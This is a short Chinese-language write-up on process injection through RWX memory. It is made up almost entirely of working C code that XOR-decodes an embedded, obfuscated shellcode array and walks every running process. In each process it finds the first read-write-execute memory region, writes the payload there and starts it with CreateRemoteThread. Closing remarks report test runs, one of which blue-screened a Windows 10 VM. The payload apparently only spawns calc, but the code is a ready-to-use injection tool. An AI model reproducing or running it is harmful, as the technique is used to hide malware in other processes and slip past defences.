检测内存RWX进行进程注入

每个进程都有自己的虚拟地址空间。为了保护操作系统和其他进程免受恶意进程的攻击，操作系统通常会将虚拟内存分为不同的区域，并为每个区域分配不同的权限，其中包括可读、可写和可执行权限(RWX)

通过检查每个进程的虚拟内存页属性，找出RWX的地址注入payload

#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <tlhelp32.h>

unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);

char my_secret_key[] = "mysupersecretkey";

void XOR(char* data, size_t data_len, char* key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}

int main(int argc, char* argv[]) {
    XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
    HANDLE GetAllSnapShot;
    PROCESSENTRY32 pe;
    BOOL FirstShot;
    HANDLE ph = {};
    LPVOID address = 0;
    MEMORY_BASIC_INFORMATION m;
    pe.dwSize = sizeof(PROCESSENTRY32);

    //获取所有进程快照
    GetAllSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == GetAllSnapShot) return -1;
    FirstShot = Process32First(GetAllSnapShot, &pe);

    while (FirstShot) {
        //MAXIMUM_ALLOWED请求最高访问权限，即可读可写可执行
        ph = OpenProcess(MAXIMUM_ALLOWED, false, pe.th32ProcessID);
        if (ph) {
            printf("checking in %s\n", pe.szExeFile);
            //查询当前虚拟内存页的信息
            while (VirtualQueryEx(ph, address, &m, sizeof(m))) {
                //当前虚拟内存页的大小，作为下一个内存页的起始地址
                address = (LPVOID)((DWORD_PTR)m.BaseAddress + m.RegionSize);
                //检测当前虚拟内存页保护属性是否RWX
                if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) {
                    printf("RWX memory got in：0x%x\n",m.BaseAddress);
                    WriteProcessMemory(ph, m.BaseAddress, my_payload, sizeof(my_payload), NULL);
                    CreateRemoteThread(ph, NULL, NULL, (LPTHREAD_START_ROUTINE)m.BaseAddress, NULL, NULL, NULL);
                    break;
                }
            }
            address = 0;
        }
        FirstShot = Process32Next(GetAllSnapShot, &pe);
    }
    CloseHandle(GetAllSnapShot);
    CloseHandle(ph);
    return 0;
}

win10虚拟机运行直接蓝屏了。。。估计和弹太多次calc有关

win7

标记的蛮多